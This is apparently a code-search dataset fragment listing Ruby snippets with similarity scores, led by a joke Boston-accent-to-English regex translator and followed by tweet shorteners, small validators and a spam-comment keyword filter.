phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend",
"def correct(word)\n end",
"def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end",
"def analyze phrase\n\t\t@meaningful_words = meaningful_words(phrase, \" \")\n\tend",
"def selective_tweet_shortener (tweet)\n if(tweet.length > 140)\n word_substituter(tweet)\n else\n tweet\n end\n\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140 \n tweet = word_substituter(tweet)\n end\n tweet\nend",
"def protect_update\n unless self.changes.keys == [\"text\"] && self.changes[\"text\"].first.blank?\n raise ActiveRecord::ReadOnlyRecord\n end\n end",
"def redact_sensitive_inputs\n @run_data[:profiles]&.each do |p|\n p[:inputs]&.each do |i|\n next unless i[:options][:sensitive]\n\n i[:options][:value] = \"***\"\n end\n end\n end",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n tweet\n end\nend",
"def change_lowercase\n self.title.downcase! if self.title\n self.author.downcase! if self.author\n end",
"def change_lowercase\n self.title.downcase! if self.title\n self.author.downcase! if self.author\n end",
"def update\n words = params['replacelist'].split(/\\s+/)\n words << '?' if words.length.odd? #ensure even-number length to make a hash\n replacelist = Hash[*words]\n Setting['replacelist'] = replacelist\n Setting['blacklist'] = params['blacklist'].split(/[\\r\\n]+/)\n redirect_to :controller => 'admin/keywords', :action => :index\n end",
"def verify_banned_message\n if sender.banned?\n self.body = \"This user’s messages have been removed because #{sender.the_sex_prefix} activities violates the LoveRealm community standards. Do not correspond with #{sender.the_sex_prefix}\"\n self.kind = 'text'\n end\n end",
"def set_passphrase(opts)\n opts = check_params(opts,[:passphrases])\n super(opts)\n end",
"def words_to_skip_capitalization_of\n [\n 'of','a','the','and','an','or','nor','but','if','then','else','when','up','at','from','by','on',\n 'off','for','in','out','over','to'\n ]\n end",
"def rhyme?(a,b)\n as = a.gsub /\\W/,\"\"\n bs = b.gsub /\\W/,\"\"\n as.to_phrase.rhymes.flatten.join(\", \").include?(bs.to_phrase.rhymes.flatten.join(\", \")) &&\n (as.length + bs.length < 140)\nend",
"def selective_tweet_shortener(tweet)\n tweet.length > 140 ? word_substituter(tweet) : tweet\nend",
"def word_substituter(tweet)\n tweet.split.map { |word| \n dictionary[word.downcase] || word }.join(\" \")\n end",
"def catch_phrase\n translate('faker.company.buzzwords').collect { |list| sample(list) }.join(' ')\n end",
"def not_spam\n errors.add(:base, \"invalid reply\") if check_field.present?\n end",
"def lex_en_plain_words; end",
"def lex_en_plain_words; end",
"def lex_en_plain_words; end",
"def does_not_include_badwords\n\n badwords = %w(\n aloha!\n href=\n -online\n 1freewebspace.com\n 4u\n 5gighost.com\n accutane\n adipex\n adultsex\n advicer\n alprazolam\n amoxil\n arcadepages\n arimidex\n associations.missouristate.edu\n ativan\n augmentin\n baccarrat\n baclofen\n beaver\n blackjack\n bllogspot\n blogs.blackmarble.co.uk\n blowjob\n booker\n buspar\n byob\n car-rental-e-site\n car-rentals-e-site\n carisoprodol\n casino\n casinos\n chatroom\n cialis\n cipro\n citalopram\n clomid\n clonazepam\n comment1\n comment2\n comment3\n comment4\n comment5\n comment6\n coolcoolhu\n coolhu\n credit-card-debt\n credit-report-4u\n creditonlinepersonalloans\n cwas\n cyclen\n cyclobenzaprine\n dating-e-site\n day-trading\n debt-consolidation\n debt-consolidation-consultant\n diazepam\n diovan\n discreetordering\n dostinex\n duty-free\n dutyfree\n dvxuser.com\n equityloans\n fanreach.com\n fioricet\n flagyl\n flowers-leading-site\n fosamax\n freenet\n freenet-shopping\n gambling-\n hair-loss\n health-insurancedeals-4u\n hi5.com\n holdem\n holdempoker\n holdemsoftware\n holdemtexasturbowilson\n homeequityloans\n homefinance\n hotel-dealse-site\n hotele-site\n hotelse-site\n hydrocodone\n hyves.mn\n incest\n insurance-quotesdeals-4u\n insurancedeals-4u\n isuzuforums.com\n jestmaster\n jizz\n jrcreations\n kaboodle.com\n kamagra\n klonopin\n lamictal\n lesbian\n levaquin\n levitra\n lezbian\n loans\n lorazepam\n lycos\n macinstruct\n metformin\n metronidazole\n mortgage-4-u\n mortgagequotes\n musicstation\n nojazzfest\n nolvadex\n online-gambling\n onlinegambling-4u\n ottawavalleyag\n ownsthis\n palm-texas-holdem-game\n paxil\n paydal\n penguinforum\n penis\n personalloansbad\n pharmacy\n phenergan\n phentermine\n poker-chip\n porn\n poze\n profiles.friendster.com\n propecia\n proscar\n pussy\n remeron\n rental-car-e-site\n ringtone\n ringtones\n roulette\n shemale\n shoes\n slot-machine\n Staphcillin\n tamiflu\n tegretol\n texas-holdem\n thorcarlson\n top-e-site\n top-site\n toprol\n toradol\n tramadol\n tramodal\n tramodol\n trim-spa\n ultram\n valeofglamorganconservatives\n valium\n viagra\n vibramycin\n vicodin\n vioxx\n voltaren\n vytorin\n xanax\n zantac\n zithromax\n zofran\n zolpidem\n zolus\n )\n badwords.each do |bw|\n if !comment.nil? && comment.downcase.include?(bw) \n errors.add_to_base(\"Comment Rejected\") \n break\n end\n end\n end",
"def selective_tweet_shortener(tweet)\n\n if tweet.length <= 140\n tweet\n else\n word_substituter(tweet)\n end\nend",
"def caps_phrase(user_phrase)\n puts user_phrase.upcase\nend",
"def word_not_changed\n errors.add(:word, :cant_be_changed) if @tag && @tag.word != self.word\n end",
"def set_ExcludePartOfSpeech(value)\n set_input(\"ExcludePartOfSpeech\", value)\n end",
"def set_ExcludePartOfSpeech(value)\n set_input(\"ExcludePartOfSpeech\", value)\n end",
"def set_ExcludePartOfSpeech(value)\n set_input(\"ExcludePartOfSpeech\", value)\n end",
"def set_ExcludePartOfSpeech(value)\n set_input(\"ExcludePartOfSpeech\", value)\n end",
"def unpublished?\n /\\b(nom prov|comb prov|sensu lato|ined)\\b/i =~ author&.delete(\".\")\n end",
"def sanitize(words)\n#lowercases the string\n lower_case = lowerCase(words)\n#removes all the special elements\nclean_string = clean(lower_case)\nend",
"def catch_phrase\n translate('faker.company.buzzwords').collect {|list| list.sample }.join(' ')\n end",
"def check(words:)\n dictionary = Set.new([\"hello\", \"my\", \"name\", \"is\", \"orange\"])\n corrected = []\n words.each do | word |\n dictionary.include?(word) ? corrected.push(word) : corrected.push(\"~#{word}~\")\n end\n corrected\nend",
"def important?(word)\n\nend",
"def highlight_blacklisted_words\n params[:comment_text]&.gsub(/(#{Regexp.union(BLACKLISTED_WORDS).source})/i) { |s| \"<<#{s}>>\" }\n end",
"def catch_phrase; end",
"def catch_phrase; end",
"def normalize_synonyms(text_string)\n text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(W)\\.\\s/, \" West \")\n #ext_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\nend",
"def selective_tweet_shortener(tweet)\n if tweet.length > 140\n word_substituter(tweet)\n else\n return tweet\n end\nend",
"def word_substituter(tweet)\n tweet.split(\" \").map do |word| # 1\n if dictionary.keys.include?(word.downcase)\n word = dictionary[word.downcase] # 2\n else\n word\n end\n end.join(\" \") # 3\nend",
"def matching_the_word_and\n /WRITE ME/\n end",
"def save_unmatched_words # :nodoc:\n tokens = phrase_without_matches.split(' ')\n unmatched_db = Corpus.new(\"unmatched-#{program_name}.db\")\n tokens.each do |token|\n if !complex_token_matches?(token) # token was not transformed earlier\n @to_match << token\n unmatched_db[token] = @processor.original_text\n end\n end\n unmatched_db.close\n end",
"def post_title\n if !self.title.nil?\n phrases = [\"Won\\'t Believe\", \"Secret\", \"Top\", \"Guess\"]\n if !phrases.any? {|phrase| self.title.include?(phrase)}\n errors.add(:title, \"Not enough!\")\n end\n else\n errors.add(:title, \"Not enough!\")\n end\n end",
"def normalize_phrase phrase\n\t\tphrase.to_s.downcase\n\tend",
"def censor(sentence, curse_words)\n words = sentence.split(\" \")\n\n asterisked_words = words.map do |word|\n if curse_words.include?(word.downcase)\n asterisked_word(word)\n else\n word\n end\n end\n\n asterisked_words.join(\" \")\nend",
"def true_false_rationale(text)\n frm.text_field(:name=>/:deliverTrueFalse:rationale/).value=text\n end",
"def _excluded_words\n Lexhub.configuration.excluded_words\n end",
"def enchant\n end",
"def phrase(arg)\n\tputs arg + \"only in America.\"\nend",
"def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend",
"def update!(**args)\n @glossary = args[:glossary] if args.key?(:glossary)\n @ignore_case = args[:ignore_case] if args.key?(:ignore_case)\n end",
"def is_possesive? word\n return true if $possesive_words.include? word.downcase\n return false\n end",
"def word_substituter(string)\ntweet=string.split(\" \")\ni = 0 \nwhile i < tweet.length \nif dictionary.keys.include?(tweet[i].downcase)\ntweet[i] = dictionary[tweet[i].downcase]\nend \ni+=1\nend\ntweet.join(\" \")\nend",
"def verify( *suspect_words )\n\t\tsuspect_words.flatten.sort == @banned_words\n\tend"
] | [
"0.61762756",
"0.6123365",
"0.60682005",
"0.6041531",
"0.5948353",
"0.591558",
"0.591558",
"0.58884776",
"0.58246297",
"0.58246297",
"0.58246297",
"0.5789642",
"0.5644079",
"0.56437474",
"0.56123453",
"0.55955464",
"0.5537787",
"0.55122805",
"0.5495134",
"0.5480394",
"0.5460677",
"0.54251367",
"0.54145175",
"0.54023576",
"0.54009324",
"0.53935826",
"0.5371238",
